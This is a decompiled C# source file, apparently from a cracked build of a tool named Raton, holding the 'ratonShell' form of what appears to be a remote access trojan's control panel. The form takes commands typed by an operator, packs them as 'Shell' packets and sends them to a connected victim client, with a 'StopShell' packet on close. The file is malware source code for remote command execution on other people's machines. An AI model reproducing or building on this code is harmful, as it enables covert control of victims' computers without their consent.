105 lines
3.8 KiB
C#
105 lines
3.8 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: Raton.Forms.ClientForms.Monitor.ratonShell
|
|
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
|
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
|
|
|
using Raton.Classes;
|
|
using Server.Connection;
|
|
using Stuff;
|
|
using System;
|
|
using System.ComponentModel;
|
|
using System.Drawing;
|
|
using System.Windows.Forms;
|
|
|
|
#nullable disable
|
|
namespace Raton.Forms.ClientForms.Monitor;
|
|
|
|
public class ratonShell : Form
|
|
{
|
|
private IContainer components;
|
|
private TextBox textBox2;
|
|
public TextBox textBoxConsole;
|
|
|
|
public SillyClient SillyClient { get; set; }
|
|
|
|
public ratonShell()
|
|
{
|
|
this.InitializeComponent();
|
|
DarkMode.Start((Form) this);
|
|
}
|
|
|
|
private void textBox2_Enter(object sender, EventArgs e) => this.textBox2.Clear();
|
|
|
|
private void textBox2_KeyDown(object sender, KeyEventArgs e)
|
|
{
|
|
if (e.KeyCode != Keys.Return || this.SillyClient == null || string.IsNullOrEmpty(this.textBox2.Text.Trim()))
|
|
return;
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "Shell");
|
|
pack.SetString("Command", this.textBox2.Text.Trim());
|
|
this.SillyClient.Send(pack.Pacc());
|
|
this.textBox2.Text = string.Empty;
|
|
}
|
|
|
|
private void ratonShell_Load(object sender, EventArgs e)
|
|
{
|
|
}
|
|
|
|
private void ratonShell_FormClosing(object sender, FormClosingEventArgs e)
|
|
{
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "StopShell");
|
|
this.SillyClient.Send(pack.Pacc());
|
|
}
|
|
|
|
protected override void Dispose(bool disposing)
|
|
{
|
|
if (disposing && this.components != null)
|
|
this.components.Dispose();
|
|
base.Dispose(disposing);
|
|
}
|
|
|
|
private void InitializeComponent()
|
|
{
|
|
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonShell));
|
|
this.textBoxConsole = new TextBox();
|
|
this.textBox2 = new TextBox();
|
|
this.SuspendLayout();
|
|
this.textBoxConsole.BackColor = SystemColors.InactiveCaptionText;
|
|
this.textBoxConsole.BorderStyle = BorderStyle.FixedSingle;
|
|
this.textBoxConsole.Cursor = Cursors.Default;
|
|
this.textBoxConsole.Dock = DockStyle.Fill;
|
|
this.textBoxConsole.Font = new Font("Consolas", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
|
this.textBoxConsole.ForeColor = SystemColors.Window;
|
|
this.textBoxConsole.Location = new Point(0, 0);
|
|
this.textBoxConsole.Multiline = true;
|
|
this.textBoxConsole.Name = "textBoxConsole";
|
|
this.textBoxConsole.ReadOnly = true;
|
|
this.textBoxConsole.Size = new Size(756, 478);
|
|
this.textBoxConsole.TabIndex = 0;
|
|
this.textBox2.Dock = DockStyle.Bottom;
|
|
this.textBox2.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
|
this.textBox2.Location = new Point(0, 456);
|
|
this.textBox2.Name = "textBox2";
|
|
this.textBox2.Size = new Size(756, 22);
|
|
this.textBox2.TabIndex = 1;
|
|
this.textBox2.Text = "Type your command here and press enter to send it";
|
|
this.textBox2.Enter += new EventHandler(this.textBox2_Enter);
|
|
this.textBox2.KeyDown += new KeyEventHandler(this.textBox2_KeyDown);
|
|
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
|
this.AutoScaleMode = AutoScaleMode.Font;
|
|
this.ClientSize = new Size(756, 478);
|
|
this.Controls.Add((Control) this.textBox2);
|
|
this.Controls.Add((Control) this.textBoxConsole);
|
|
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
|
this.Name = nameof (ratonShell);
|
|
this.StartPosition = FormStartPosition.CenterScreen;
|
|
this.Text = nameof (ratonShell);
|
|
this.FormClosing += new FormClosingEventHandler(this.ratonShell_FormClosing);
|
|
this.Load += new EventHandler(this.ratonShell_Load);
|
|
this.ResumeLayout(false);
|
|
this.PerformLayout();
|
|
}
|
|
}
|